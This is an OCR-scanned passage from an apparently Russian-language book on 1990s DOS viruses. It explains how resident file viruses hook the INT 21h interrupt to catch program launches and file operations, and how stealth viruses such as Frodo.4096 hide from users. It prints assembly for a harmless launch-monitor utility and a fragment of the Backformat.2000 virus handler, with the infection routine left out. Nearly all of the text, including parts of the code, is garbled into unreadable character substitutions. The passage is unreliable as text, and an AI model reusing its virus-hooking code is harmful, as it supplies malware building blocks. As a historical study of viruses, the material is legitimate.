mov [00u84],offset INT21 . noMsoiHTb b TaOntiiiy BeKTDpoe: 1) CMeaseHne;
mov [00086],es ; 2) ce tm s h t  ceosro o6pa6oT'-iKK3.
sti

PasyMeeTCfl, BHpyc He MoaceT nojiiiocTbio no/LMenHTb chctcmhuh 06- 
paOOTHHK npepbiBaHHH, Beflb Ha 3TOT o6pa6oTHHK B03JI0>KeHbI COTHH H 

TblCJTCH JKH3HCHHO Bâ KHblX flJIH CHCTeMbI (JWHKUHH. Il03T0My BHpVC paHO 
h jih  n03/iH0, h o  o6H3aTe;ibHo nepeaaeT ynpaB.ieiine CTaĤ apTHOMv oopa- 
6oTHHKy. PaCCMOTpHM THflHHHbie /yiH peSĤ eHTHblX <J)aHJIOBbIX BiipycoB 
cjiynaH.

3 .6 .3 .1 . I le p e x e a m  3anycK a npozpaM M bi

3 t o  H aiioo/ iee  qacTO Hciio.'ibayeM biH  b Biipycax ciiyyaH. /],ejio b tom , 

m to n p n  Bbi30Be (Jivhkhhh 4Bh (a  HMeHHO ee ncno.nb3yroT l in n  3anycKa 

;ipymx nporpaMM onepauH O H nan CHCTeMa h  cepBHCHue o 6 o .io h k h  Tuna 
Norton Commander) b p en ic T p o B y io  napy DS:DX noMem aeTCH aapec 

no;moro HMeHH cJ>aMJia 3an ycK aeM oii nporpaM M bi. S t o t o  o o j ie e  hcm j io -  

CTaTOHHO, MTo6bI OTKpblTb yKa3aHHbHI (JjaH.l, HHCJ)HUHpOBaTb ero, a nOTOM 

n epe flaTb  yn paB J iem ie  CTanaapTiioH  n p on ez iyp e  -  n ycTb  o n a  T en epb  ziejia- 

eT, mto h  no;ioyKeHo, t o  ecTb aan ycK aex  yKaaaHHVfo nporpaM M y. BnponeM, 
n ep e^ oK  h  h h o h  n o p a a o K  ^ c h c tb h h  -  cnavtajia Bbi3biBaeTCH cxaH/iapTnaji 

n p o n e iiy p a  aanycK a, a noc.xe ee 3aBepmeHHH BbiiiojiHHCTCH nonbiTKa hh- 

cf)HUHpOBaHHH.
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IIoTeHUHajibHO TaKOH BHpyc 3apa3HT (h jih , no KpaimeH Mepe, nonbi- 
TaeTca 3apa3HTb) Bee 3anycKaeMbie nporpaMMbi. /Ijih THnHHHOH kohc}m - 

r y p a i iH H  cepe^HHbi 1990-x ro^oB iio/i npnrteji BHpyca b nepByio onepeflb 

nona^ajiH KOMaimHbiH npoueccop «C O M M A N D .CO M >>, K0 Mn0 HeHTbi 
^Norton Com m anders (HanpHMep, napo najceTa «N C M A IN .E X E »  h 

«BbK>Bep» «N C V IE W .E X E » ) ,  h v  h, kohcm ho, n p u K J ia / iH b ie  nporpaMMbi, 
c KOTOpbiMH pa6oTaJi n0Jib30BaTe.Tb.

IlpoaeMOHCTpHpyeM nepexBaT 3anycKa nporpaMMbi Ha npHMepe pe3ii- 
aeHTHOH ymjiHTbi, KOTopan BMecxo HHcJjHUHpoBaHHH 3anycicaeMOH npo
rpaMMbi npOCTO BhlBOflHT Ha 3Kp3H HMH (fiaHJia, H3 KOTOpOTO OHa CTap- 
TOBajia. Tanaa yraJiHTa MoaceT 6 biTb no/ie3Hon 4 jih «M 0 HHT0 pHHra», to  

ecTb CJie>KeHHH 3a 3anycicaeMbiMH nporpaMMaMH. H uoraa  Haojno/teuHe 3a 

pe3yjibTaTaMH ee pa6 oTM mojkct OTKpwrb mhoto Majioii3BecTHbix oco6ch- 
HOCTeH 4>yHKUHOHIipOBaHHH OnepaiJHOHHOH CHCTeMbi.

CSEG segment
assume cs:CSEG,ds:CSEG,ss: CSEG
org 00h

START:
Jmp INSTALL
; 3to npoueaypa o6pa6oTKK npepuBaHHa 21h

INT21:
Cmp ah, 4Bh ; SanycK 0
Je PRINT , fla - na ngqaib ;im6hm (patina
cmp ax, OABCDn ; naoonb?
Jnz ORIGIN
mov ax, ODCBAh ; 0T3WB:

ORIGIN:
db OEAh ; 3to kSMaHfla 8Hfla JMP XXXX'XXXX,

0FS21 dw ? ; OHa nepeaacT ynpaBJieH He cTanaapTHO M y
SEG2 i dw ? ; o6pa?jTHMKy

, Sflecb vy ne^aTae* twa 3an y c ra e M O ii nporpaM Mbi

PRINT:
. CoxpaHfleM e CTeke see perncTptj. kotopub epeMeHHO ncno.nb3yeM 
push ax
push dx
push si
; Fla pa DS:DX yxasueaeT Ha nr-va 4a ft/ia nporpaww 1 
mov si, dx
; 9to umkji newaTM cmmbqjiob, no tea He BCTpeTMTCfl 0 - kohsli ctpokh

LOOPC:
lodso
cmp al, 0
jz Next
int 29ii ; flesaTb cuMSona vn perncipa AL
jmp LOOPC

NEXT:
; Bocct3hobmm see pe'MOTpa
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pop si
pop dx
pop ax
, M B6PH6M ynpaBJieHwe opMrnHaJibHOMy o6pa6oTMHKy npepbieaHkin 21 h 
I ms ORIGIN
; 3to TpaH3neHTHafi nacTb nporpaMMU.

INSTALL:
, ilposepi'iM, ycT3H0BJi9Ha m  y*e yrmma b m m rtf  
mov ax. OABCOh . (lapojib
int 21h
cup ax, ODCBAh ; 0T3UB?
jz Finish . y*e ycTaHOB̂ eHa - bwxoa
; V3H39M aflpec OPMTMHaJlbHOTO 06pa60THMka npepHBaHMB 21li
mov an.35h
mov At .?'•
int 21 h
; 3anoJ!HaeM kohkp&thns no;i« b KOMaH,se JMP 
mov 0FS2l,bx
mov SEG21.es
; HaanaMaeM coScTBeHHNii oopa6oTMkii ana npepueaHMR 21h
mov aii.25h
mov a L,21h
mov dx,offset INT21
int 21h
; yYasbteaeM paswep ocrrawweMoro b naHflTM p̂arneHTa. 
mov dx, offset INSTALL
; PeswieHTHoe 3aBepiiieH>ie nporpaMMbi 
int 27h
; OCnmhos sasepiiieHKe nporpaxioi

Finish:
int 20 h

CSEG Ends
end START

Cjie/iyeT HMeTb b bhsv, hto KOMaHaa «J M P  X X X X :X X X X »  nepeaaeT 

ynpaBJiemie b cTaHaaprabiH o6pa6oTHHK npepbiBaHHH «nacoBceM». B03- 
BpaT ace b TOHKy Bbi30Ba 6yaeT BbiriojmeH KOMaHaoii « IR E T » ,  pa3MemeH- 
Hoii rae-To b Heapax aixpa onepauHOHHOH CHCTeMbI. H to o h  stoto  H36e- 
acan>, Heo6xofliiMo o6pamaTbca k cTaH/japTHo.\iy o6paooTHHKy npiiMepHo 

BOT B TaKOM CTH.TC:

DUSiif
call dword Ptr cs: 0FS21

iret

Tanaa nocjie/ioBaTejibnocTb iiMHTHpyeT KOMar-my « I N T »  h noMemaeT b 

ctck TpH c.aoBa: SHaneHne penicTpa (jviaroB, cerMeHT h CMemenne aapeca 

B03BpaTa. C-TaHaapTHwii o6pa6oTHHK, 3<ucohhhb cbord pafioTy, no KOMan-
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Ae «IRET i> HSBJieHer stii snaqeniM m  cTeKa h OKaaceTca b TOMKe BU30Ba, 
to ecTb cpa3y nocjie KOMan/iu «CALL». Tenepb mojkho BunojiHHTb Heo6- 
xoflH M bie  ziencTBHH (HanpHMep, oTo6pa3H Tb Ha 3KpaHe iim h 3anycKaeMOH 
n p o rp aM M U , ecjiH cTaHflapTHbiii oopa6oTH H K  He H3MeHHJi 3HaneHHa p e -  

racTpoB DS h D X ) h Tenepb y»ce 0K0HHaTejibH0 BepHyTbca b nprncjiaa- 
Hyio nporpaMMy npn noMoujH co6ctbchhoh KOMawiu «IRET».

TaioKe c jie / iy e T  o 6 p a T H T b  B H H M a H H e  Ha c n o c o 6 . k o t o p u m  nporpaMMa 
n p o B e p a e T , H e  H a x o f lH T c a  j ih  b  n a M H T H  yace ee f lp y r a a  p e 3 H fle H Tiia a  k o- 

n H H , y c T a H O B Jie H H a a  p a H e e .  B o 6 p a 6 o T H H K e  n p e p u B a H H H  21h H M e e rc a  

«B e T O M K a », K O T o p a a  o 6 p a 6 a T b iB a e T  H e c Ta H / ja p TH v ro  (J jy H K iu n o  c k o ^ o m  

OABCDh, -  3 TO  c B o e o o p a 3 H U H  « n a p o jt b » .  E c j i h  H a u l o 6 p a 6 o T H H K  b n a 

M H TH  yace n p H c y T C T B y e T ,  t o  o h  o t k - t h k h c t c h  n p a B H Jib H b iM  « o t 3 H b o m »  

(n o M e c T H T  b p e r n c T p  AX  h h c jio  ODCBAh), h  s t o  6 y a e T  3 H 3 k o m  T o r o ,  h to  

HaflO « T H X O  H M Iip H O  »  3 3 B e p iIIH Tb C H .

rioziooHuii npneM xapaKTepeH npaKTii'iecKH zijih Bcex pe3ii/ieHTHbix 
BiipyeoB. Pa3yMeeTCH, ecTb cnocoo «o6MaHyTb» BHpyc, «BHyimiB» eMy, 
hto ero KonHH yxce cymecTByeT b naMHTH. flocTaTOHHO HanncaTb h  3a- 
nycTHTb (KaK mo>kho paHbiue, HanpHMep b ^AUTOEXEC.BAT* h jih  

^CONFIG.SYS*) KpoxoTHyio pe3H/ieHTHyio nporpaMMKy, KOTopaa npa- 
BHJibHO oTKJiHKaeTca Ha «napojib», HMiirapya BHpyc. 3 tot npneM Ha3u- 
BaeTca *,eaKusUHav,ueu noMnmu*. oh n03B0JiaeT HafleacHo 3a6jioKHpoBaTb 
no KpaiineH Mepe pa3MHÔ ceHne BHpyca Ha KOMnbioTepe.

3.6.32. Ilepexeam (paujioebpc onepau,uu
B o jie e  «npoflBHHyTbie» B iip y c b i  n e p e x B a T U B a iO T  H e  3 a n y c K  nporpaM M , 

h o  pa3JiHHHue o n e p a u H H  c (J ia n jia M H  -  co3/iaHH e ( ( J j y H K m w  3Ch h j i h  

5Bh), o T K p u T H e  (4 > .yH K U H a  3Dh), 3 a K p u T H e  (cfwHKiiHa 3Eh) h t .  n .  E c j i h  

M0̂ H(J)imHp0BaTb r ip iiB e a e H H y ro  b  n p e z ib m y m e M  pa.3aejie y r a j i H T y  TaK, 
m to 6 m  O H a  O To6p a>K a Jia  H M e n a  B c e x  cjyaiiJioB, c k o t o p u m h  B u n o jm a iO T C H  

KaKHe-jra6o o n e p a m m , t o  n o jiV H e H u a a  n p H  ee n o M o m u  T p a c c a  c o o m t h h  

6 y ,T e T  n o H C T H H e  orpoMHoii. /leiicTBiiTejibHo, nepexBaTbiBaiomnH 4>aHJio- 

B u e  o n e p a n H ii  B i ip y c  n o / iy n a e T  b  CBoe p a c n o p a a c e H H e  r o p a 3 a o  6ojii> m e 

n o T e n n H a jib H b ix  «>KepTB». H o  b s t o m  c jiy n a e  o t  H e ro  T p e 6 y e T c a  V M eH H e 

p a c n o 3 H a B a T b  b h ,t  ( \ m i m  n o  e ro  B H y T p e m ie ft  c T p y K T y p e ,  B e ^ b  r p o m  n e n a  

T3 K O H  c a m o p a 3 m h  o  x  a jo m e rt c h n p o rp a M M e , K0T0paa «Kii^aeTca». HanpH
Mep, na (jrai'iJiM  6a 3  ’la m ib ix  (p a c im ip e H n e  «.D BF»), TeKCTbi (p a c u m p e m ie  

« .T X T ») i i  n poH n e a 6 c o jn o T H o  « i ie c b e / (o 6 H u e »  o o b e ic rb i!

3aTO npaBHJibiioe npHMeHeHHe TexuHKH o6pa6oTKH cfjan.noBbix onepa- 
miH n03B0Jiaji0 BiipycomicaTcjiHM opraHiraoBbreaTb oneHb HHTepecHbie 

ajiropHTMW 3 a p a > K e H M a . H a n p i iM e p ,  BHpyc Backform at.2000 3apa>Ka.T H e
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Bee nporpaMMbi rio/ipA/i, ho TOJibKO co3,a,aBaeMbie Ha ancKeTax. IIocKOJib- 
Ky name Bcero <J)aiiJibi co3naroTca Ha jiHciceTax n p n  KormpoBaumi hx T_y/ia 
c  BHHMecTepa, t o  3 to  -  o i r n iM a J ib H a a  CTpareriiH 3apa»ceHHH, nanpaBJieH- 
Haa Ha p a c n p o c T p a H e H H e  BH pyca n y T e M  nepeHoca c  MaiuHHbi H a  M a i i iH H y .  

He hv>kho a e c H T K O B  h c o T e H  a a p a ^ K e n n b ix  nporpaMM H a  B H H H e c r e p e ,  a o -  

C T aT O H H O  n p H H e n jIH T b C H  TOJibKO K TCM H3 HHX, K O T O p b ie  3aB6flOMO TOTO- 

b h tch  k n v T e in e c T B H io !

; Bupyc Backformat.2000. (tparMenT o o p a S o m H K a  npeptieaHMS 21 n
Int21:

CtTip an, 5B ; CosaaHne $aiina?
Jo Create : >la - Ha o6pa6oiKy co3nahnfl
Cmp ah, 3E ; 3aKpuTMe cfia ti/i a ?
Jne Skip- ; Ha cTanuapTHWi* o6pa6oT4Mt
Jmp Close ; fla - na oSpaSoiky 3a<ptiTMS

OfipaSoTKa cosflanvifl <S>afcia
Create:

push ax
push dx
push si
iriov bx, ax , B DS: OX -  vm  Buna X:\XXXXXXX.XXX
cmp [Ox+1], , Bropoii cm eon  - fleoeroMHe?
Jne Skip : Her - na cTaHflapTHUfc ctfpaCoTm
Mov al.[bx]
And al.ODFh ; nepeBecTfi cmmboji e b s p x h m m  periicTp
Cmp al, 'A' . nepBWH CitMPO.n - s t o  'A'?
Je On Flag ; Ha ycTanoBKy ♦nara roTOBHOctu
Cmp al, 'B' ; depBUM CMMBO/i -  sto 'B'?
Je On Flag ; Ha ycTSHOBKy *nara rotOBHOCTM
Jmp NoOiskAB

On Flag:

pep si
pop dx
poo ax
pushf ; C-03flarb ®ati/i
call cs:dword Ptr Int21

mov cs:Hag, AX ; ycTaHoenTb $mar "eafin co?saH"

iret
06pa6oTK3 3a<pbiTiis ^afi.na

Close:
cmp Flag, 0 . Ccjashkh* ^B/iob hbt’
jne Infect ; Ectb - npoflO/miTb
jinp Sk ip  . Hot -  na ctaHaaoTHW(t oO pacorm ik
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Infect:

; ! I ! 3fiecb By30b npouenvPH HĤ HunpoBawm (.oh npony^en) i !!

mov cs: Flag, 0 . CGpoctfTb onar "©ati/i coaaaH"

pushf ; oaKpwTb Oaii.n
call cs:dwcrd ptr Ini21

AnajiorH'iHHM 06pa30M ;jseiicTBOBaji h 3HaMeHirrhiH Onehalf.3445, ko- 
Topbifi B 1994-1995 roaax BH3BaJi o6wnpHeHmyro naazieMHio bo bccm 
MHpe.

Bupycojiory naen nepexBaTa 4>aiM0Bbix onepaniffl no/icKa3biBaer 
Cn0C06 «IIOHMKH C nOJIH4HbIM» Hepe3H/ieHTHMX BHpyCOB npH IIOMOIUH 
nocToaHHo HaxoAHiuettc.H b naMHTH VTH.THTbi, OTC.iê KHBaromeft «no;io- 
3pHTe.JibHbie» aeiicTBHH (ripex/te Bcero 3araicb b nporpaMMHbie 4>aHJihi). 
Hvjkho TOJibKO nocTapaTbCH aKTHBHpoBaTb vthjihtv paHbiue BHpyca, Ha
npHMep pa3MecTHB KOMaH^y ee 3anycKa b <?A UTOEXEC.BAT» hjih aa>Ke 
b ^CONFIG.SYS*. HanncaTb TaKyio yTHJimy mojkho ca.vrocTOHTejibHO, 
a MOJKHO H B0Cn0JIb30BaTbCH TOTOBOH. HanpHMep, B COCTaB naKCTa «/Iok- 
Top KacnepcKHH*. pacnpocTpaHaBiueroca cjmpMoii KAMM b nanajie 
1990-x ro^oB XX BeKa, BxoflHJia MajieHbKaa nporpaMMKa <-D.COM», 
KOTopaa rxo3Bo.xHJia He TOJibKO p e a rn p o e a T b  Ha «no,ao3pHTejibHbie» (J>aii- 

JiOBbie onepauHH, ho h npocMaTpHBaTb 3HaMeHHH peracTpoB npoqeccopa 
b MOMeHT Bbi30Ba, co/iepxciiMoe ynacTKOB onepaTHBHoii naMHTH, H3 koto- 
pbix 3Ta onepauHH 6buia Bbi3BaHa, h t. n.

3 .6 3 3 . Ilepexeam onepau,uu c xamajiozaMu
n o H C K  4 )a H Jio B  b  K a T a J io r a x  -  w accoB aa  onepamiss. Kaacflbiii pa3 , n e p e -  

M e m a a c b  no C B o e M y  z u i c k v  b  Norton Commander’e, n o jib a o B a re Jib  n o j i y -  

y a e T  b  « r o j i y 6 b i x  O K o u iK a x *  Bee H OB bie h  h o b h c  c m ic r a i  4>aMjioB. H  H e 

3 a flV M H B a e TC H  o  t o m ,  h t o  Norton Commander ana 3 T o r o  fle cH TK H  h  c o t -  

h h  pa3 o6pam aeTCH  k  4>yH K U H H M  4Eh/4Fh. /[o t'Ta TO M H o  B u p y c y  n e p e x B a - 

THTb 3 T H  4 > y H K m iH  B  CBOC’M pe3 H /teH TH 0 M  o 6 p a 6 o T M H K e  n p e p b iB a H iia  2 1 h , 

H  o h  n o jiy M H T  B03M0>KH0CTb T aK oro  >Ke MaccoBoro 3 a p a »ce H H H  n p o r p a M M !  

/ Ip y ro f i B a p n a H T : B H p y c o M  nepexB aTbiBaeTca TOJibKO <J)yHKmiH 3Bh c M e - 

H b i T eK ym e ro  K a x a jio ra  ( b  DS:DX TpaanuHOHHO n e p e a a e T c a  ero h m h ), 

a  cepBHCbi 4Eh/4Fh o h  Bbi3biBaeT b q iiK J ie  y>Ke n o  c o o c T B e n H o n  h h ih j h -  

a T H B e . H o jiy n a e T c a  C B o e ro  po/ia r i i6 p H A  p e a n a e iiT n o r o  h  S e a r c h - B H p y c a ,  

n p n 'icM  H e o fib i'ia a n o  «n po>K op jiiiB b iH »!

Bupycbi T a K o r o  po,aa 6 b u m  « n o n y j i a p H b i »  b  H a n a jie  90-x ro a o B  XX B e

Ka (c e M e iic T B a  Astra, MG, XPEH h  /ip.), h o  i io t o m  « b h u i j i h  h s  .\m;u>i*.
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Bh/JHMO, 3T0 CBH33HO C TeM, MTO «Iip0/K0pJIHB0CTb» nepeCTaJia CHHTaTb- 
c h  cpe/iH BupycorTHcaTCjieft TaKHM y>K npHBJieKareJibHbiM cbohctbom 
KOM/ibforepHoro BHpyca. HeHCTBiiTeJibHo, b ycnoB nxx  60n ee  hjih  Menee 

pa3BHTofi aHTHBHpycHOH HHflycrpHH cc^opMHpoBajiacb cHTyamia, Kor;;a 
hcm 6oJibiue nporpaMM aa MauiHHe 3apaaceHO BiipycoM, TeM m e  «nyra- 
HOMy» H0,ib30BaTe/iro 3aMeTiiTb ero h ripniiHTb cooTBeTCTByiomne Mepu.

3.7. BMpyCbl-«HeBLWIMKM»
M  He oSopomeut). .V' mcum  cneu,uaJit>Han odemcda. 
Oua Mooicem dejiatm Menu HeeudiiMUM, mom>KO 
ruioxo paoomaem.

A. h B. CxpvraLiKHe. «}K vk b MypaBefiHmce*

J I p H M e H e H i ie  Steal t h - x e x H O J io r m i  p a c n p o c T p a H e H O  H e  T O J ib K O  b  3 a r p y -  

S O H H b lX  B H p y c a X ,  H O  H  B  H X  (f>aHJIOBOH p a 3 H O B H # H O C T H . H o C K O J Ib K V  « 0 p -  

r a H a M H  h v b c t b »  h  «3(|> 4> eKTopaM H »  # jm  n p w ic j ia f lH b ix  n p o r p a M M  u c a M O H  

o n e p a m io H H o i i  c h c t c m m  h b j ih j o t c h  b  o c h o b h o m  c e p B H C H b ie  n p o u e a y p w ,  

T lo c T jT iH b ie  > iepe3  n p e p b r e a H n e  2 1 h ,  t o  c v m e c T B y e T  T e o p e T H H e c  K a n  b o 3 -  

M 0 » C H 0 C T b  a K K y p a T H O  < sn o^ M eH H T b»  H e K O T o p o e  K O j iH M e c T B O  s t h x  n p o n e -  

/ i y p  ( B i i p o ie .M ,  K a K  h  J i r o o b ix  a p y r n x )  113 a c T a B H T b  h x  p a 6 o T a T b  n o  B b ir o ^ -  

h o m > ' jinx p e 3 H f le H T H o r o  B i i p y c a  a / ir o p i iT M V .  I lp e jK f l e  B c e r o  s x a  B b ir o f la  

s a K n ro q a e T C H  b  t o m .  h t o o m  C K p b lT b  cfpaKT n p n c y T C T B H a  B i i p y c a  b  c n c T e M e .

CaMUM pacnpocTpaHeHHbiM hbjihctch cnocoG « kop p e kth po b ki 1»  
fl.THHbi 3apajKeHHoH nporpaMMbi, Kor/ia BHpyc nepexBaTbiBaex (Jjvhkiihh 
4Eh/4Fh (h jih  llh /1 2 h ), npn noMomn K0T0pbix nporpaMMbi « c m o t p h t »  

Ha KaTaJiora, h BhWHTaeT H3 B03BpamaeM0ii jyiHHbi 3apa>iceHHbix npo
rpaMM pa3Mep hx BHpycHoii HacTii. /lemeBO h cep/iHTo.

ilpyroH  OTHOCHTeJibHO npocToft h Macro Hcnojib3yeMbiii mptoh «ocjien- 

jiemra npoTHBHHKa» 3aKJiKmeTca b tom , hto6h  nepexBaTHTb 4>Vhkiihh  
3D h  (oTKpuTHe 4>aHJia) h 3Eh (3aKpbrme 4>aiiJia) h bchkhh pa3 npoBe- 
pHTb, oTKpbiBaeTCH jih nporpaMMHbiii 4)anji yace sapaaceHHoft nporpaMMbi. 
EcJIH npOHCXO^HT HMeHHO 3TO, TO BHpyCy flOCTaTOMHO «BblJie.MHTb» npo
rpaMMy ( to ecTb y/iajiHTb H3 Hee BHpycHbni koa ), a b momcht 3aKpbiraa -  
3apa3HTb CHOBa. OTKpbiBaa :vapa>Keinibift (f>aftji npw rioMowH CTaujyapT- 
ubix cpeacTB (naripHMep, zijih npocMOTpa no F3 b Norton Coimnander’e), 
BHpyc BHVTpH Hero VBIIfleTb HCB03M0JKH0, ero TaM B 3TO lipe.MH npOCTO 
(|)II3H'feCKH IieT!

KcTaTH, oTcroaa cjie/iyei npocroil cnoco6 <jieHeHHa» 3apaxceHHOH 
nporpaMMbi: OTKpbiTb ee b oooJio'iKe Norton Commander n o  F3 a  cpa-
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3y >k c  n e p e 3 a r p y 3 H T b C H ,  n a a c a B  ; y w  HaaeacHocxH K H o n K V  R ese t1. F lo c j i e  

nepe3arpy3KH n p o r p a M M a  oK a> K eT C H  «3,a0p0B0H»!
Eme oflHa BapHaizHH sroro  MeTo;ia ..'leqenna «rojibiMH pyicaMH* 3aKJiro- 

naeTca b tom, htoom 3 a a p x H B H p o B a T b  3apa»eHHMe cjiafi.iu KaKHM-HH6vyib 

ynaKOBmiiKOM (ra n a  ZIP, ARJ, R A R  h t. n.), Toraa BHyTpn apxraa oica- 
acyTca nporpaMMbi, He HB/isnomHeca «BHpycoHocHTejiaMH». JlK)6onbiTHO, 
hto 3 to t 4>aKT no6y:*M;aeT uaHoo.Tee «yneprb ix » BHpycomicaTejieH 3ann- 
MaTbCH nepexBaTOM cJjvhkuhh 4Bh, OTCJieacHBaHiieM MOMeHTa 3anycKa 

nporpaMMbi-ynaKOBiuiiKa ii OTicmoHeHHeM Stealth-MexaHH3Ma Ha BpeMa 

ero pa6o ra .
Eme 6ojiee cjioacHbie BapnaHTbi peajtusanHH Stealth-TexHOJioran 

rrpe^ycMaTpHBaioT nepexBaT h /ipyrax cepBiicHux c^vhkhhh M S -D O S .  
B o t ,  HanpHMep, 4 > p a rM e m r o n n c a H H a  ( o t  E .  KacnepcKoro) urn  o ; ih o -  

ro H 3  caMbix CJio>KHbix ii « n p o f lB H H y n > ix »  b  s t o m  OTHOineHiiii B H p y c a  

Frodo.4096, b  c b o c  BpeMa ( b  1990 ro ay ) n o p a 3 H B iu e r o  Boo6paaceHHe 
iipofJteccHOHa.TbHbix BJipyco.aoroB:

nojiHoueHHbiM «CTenc»-Bupyc: o6pa6aTbiBaer 20 (pyHKUMM INT 21 h 
(FindFirst, FindNext, Read, Write, Lseek, Open, Create, Close, Exec n 
r. a )  uxopoiuo MacKMpyercfi. ripu odpam enm  DOS k 3apaxeHHOMy 
cpaiiny BHpyc noAcraBm er ero nepBOHava/ibHyio A/WHy h  BpeMa m o - 
AM(}>MKauMM. flpM vTenm  (patina n m  3arpy3Ke ero b naMfiTb m o ahQm - 
unpyer cnuraHHyio CAUCKa MHcfropMauwo raKHM 06pa30M, vto cpati/i 
npeAcraer b  He3apaxenHOM BUAe. flpu o t k p u th h  (patina asm  3anncn 
BHpyc /ie w T ero ( TaK KaK 3anucb e cpati/i M oxer ymwToxHTb nacrb 
Biipyca) h  CHOBa 3apaxaer npn aaKpbiTHH.

IIpiiMeHaTeJibHO, hto BHpyc nepexBaTUBaji He to jilk o  <J>aiijioBHe one- 
pauHH, ho h onepauHii c naMaTbio (48h -  C03flaTb 6jiok, 49h -  ymtHTO- 
acHTb o.tok. 4Ah -  H3MeHHTb pa3Mep 6;ioKa). OcTaBmncb nepBOHaqa/ibHO 

B 0 3 Y  OflHHM H 3  T p a f lH U H O H H b lX  flJia pe3HfleHTHbIX BHpVCOB MeTOflOM, 
Frodo.4096 b aajibHeHuieM BHHMaTejibiio c/icah/i 3a nenoHKaMH o.tokob 

naM ani. E co t  KaK0ii-T0 KpyriHbift 6jiok naM ara BbicBo6ojK,aa;icH (Ha
npHMep, no npHHHHe 3aBepmeHiia pa6oTbi 3aHHMaBiueH ero nporpaMMbi), 
to  Biipyc BMecTO BbicBoooacaeHHa npocTO CHJibHO VMeHbma.i ero pa3Me- 
pu, 3amicHBa/i b M C B  ko# 8 h «nepecejiajica» b s to t  o.tok. Ec/ih xce 

Kanaa-TO nporpaMMa BbicBo6o>K;ia.ria cboh 4>par.MeHT naM ani He iiojiho-

1 H M e e T c a  b  b ii/ iv , w t o  B H p y c  T e o p e T m e c K H  M o a c e T  n e p e x B a r a T b  « K J ia B n a r y p -  

H o e »  r i p c p b i B a in ie  H O M e p  9 h  n o  ifa > K a T H n  <C trI+A lt+D e l» y c n e r b  3a p a 3 H T b  

<*>KepTBy».
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cTb io , ocTaBJiaa b  0 3 Y  H e6o ;ib iiioH  o jio k  h  aaBepm ancb peanzieH T iio . to  

Frodo.4096 nocTyna.fi npoTHBono.ToacHW M 06pa30M  -  pacuiHpH.'i s t o t  pe- 

3naeHTHbra 6 .;io k  h  nepeM em a.ncH b  e ro  Koneu , B b icryn an  ajih  p e3 iiA e m - 

Hofi nporpaM M bi b  po jiH  «H e3B aH oro  coce/ia>>. TaKHM 06pa30M, BHpyc He 

HM eji nocTOHHHoro MecTonoJiosKeHHH b  naMHTH!

B o t  h to  n iica ji n o  r ioB oay  o6HapyaceHHH i i  JieneHHH Frodo.4096 
JI. H. J Io3hh ckh h :

9 to t  B u p y c  npeBocxofiHT B e e  Mb/cnuMbie npeAe/ibi 3aTpam Tpyaa... 
Mhte npeacTaBmeTca, hto yHmepcajibHbtti crop ox, kotopum o6na- 
pyxM/i 6bi nomneHue b MaiuuHe sroro  Bupyca, flo/ixeH npocMar- 
pi/iBarb Karanom He craHflapTHbiMM cpeflCTBaMu MS-DOS, a nepe3 
npfiMoe cvmtJBaHHe c e ic ro p o B , nocKonbKy Bee cpeacTBa nocryna 
k (pafi/ iaM  oTfiatoT nporpaMMaM m ct>opMau,i/iio, M3 K o r o p o t i  y/ja/ieHbi 
Bee cneAbi AemejibHocm Bnpyca.

IIOHHTHO, HTO aHTHBHpyc, yCTpoeHHM H TaKHM OOpaSOM, ^OJiaceH 6bUI 

BOCnpOH3BOTlHTb CBOHMH CpeflCTBaMH HeMaJIVK) HaCTb MS-DOS, n o 

K paH H eii M epe b c io  ee  4>aHJioByio cucTeM y!

E m e  cHJibHee BnenaTJiHJiH S tea lth -B H p ycw  H. H. B e3 pyKOBa:

. . .9 ro  npnMepHo 6 m e m  crpoK vtcxoflHoro reKcra, to  ecrb o t  ne- 
CKonbKMx M e c m e e r o  rop,a ynopHoti pa6oTbi...

3a6aBHo, h to  b Te BpeM eHa h h k to  TaK h  He pacKpbu i «cT p a iH H yio  Ta ii- 

H y »  B iip yca . T o jib K o  HecKOJibKO .aeT cnycTH , b  cep e jiH n e  9 0 -x  ro^oB , K o r ja  

iic xo a H b ie  TeK crb i Frodo.4096 ( h  n oao6 H b ix  e w y  B iip y c o B ) CTa/iH a o cT y n - 

Hbl IHHpOKOH o6lHCCTBeHHOCTH, BblHCHHJIOCb, HTO OHH npOCTO-HanpOCTO 

coaepacaT  b c e6 e  m h o jk cc tb o  4>pameHTOB o p n n iH a jib H o ro  <})HpMeHHoro 

KOfla o flH o ii H3 paH H iix  B epciiH  MS-DOS. 3aneM  nncaTb c HyjiH, Kor/ia 

MOJKHO B0Cn0.Tb30BaTbCH rOTOBMMJI pa3pa6oTKaM H ?

B nponeM , 3a.MemaTe^bCTB0 B H p yco jio roB  npoaoJiJKa.Tocb Hezio/iro. 

/joji^KHbi 6 h jih  HaiiTHCb o o jie e  n pocTb ie  h  /lemeBbie cn o co 6 b i npoTH Bo- 

HeHCTBHH BHpycy, H OHH flOBO.UbHO OblCTpO HaiilJIIICb. H fleH  3aKJIK)HajiaCb 

b tom , 'iro6bi oopam aTbCH H anpH M yio k  cepBHcaM  MS-DOS, m h h vh  x h t-  

pOVMHbie BIipyCHM e 0 0 p a 6 0 THHKH. A ZUFH 3T0r0 flOCTaTOHHO OMJIO 3HaTb 

«HCTHHHbIH» a/ipec TOHKH BXOZja B 3TH CepBHCbl -  He TOT, KOTOpblH VKa- 

3aH b  Ta6 iiH ue BeicropoB  npepbiB am iH , a  t o t ,  KOTOpblH pacnoJio>KeH rfle-TO 

r.nvooKo b u e^p ax  n ^pa  onepayHOHHOH cncTeM bi.

BHpyc Frodo.4096 6 h j i  nonoK/ien, h o  h BnpycoiiHcaTe.?iH He apeM a- 

jih . O h ii  H 3o6peTa.n i Bee o o j ie e  u rio in pem ib ic  cn o co 6 b i c o k p h th h  c b o iix  

«H 3£ e jiH H » o t  r;ia3 no;ib30BaTejieH  n B H pyco jio roB . IIpn s to m  Stealth- 
TexH O Jionm  pa3pa6aTbu?ajiHCb n o  pasnbiM  HanpaBJiemiHM:
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O  H e  a a T b  II0JIb30BaTe.!IKl B 03M 02CH 0C Tb 3an 0/103pH Tb (f)aKT Iia jIIlH H H  

B H p y c a  b  C H C TeM e;

O  « c n p a T a T b c a »  o t  a H T H B H p y c a -C K a n e p a ;

O  o6ohth  «6apbepu», nocTaBJieHHbie pe3H/ieHTHbiMH aHTHBHpyca- 
M H -6 .n O K H p O B lU H K a M H .

K p a H H e  c .T O > K H y io  x e x H O J io r n io  c h c b h / ih m o c t h *  n c n o ; ib 3 0 B a ; i  h c k t o  

P. Demenuk b  c B o e M  B H p y c e  PM.Wanderer. Eniy yziajiocb b h h t h  3 a  n p e -  

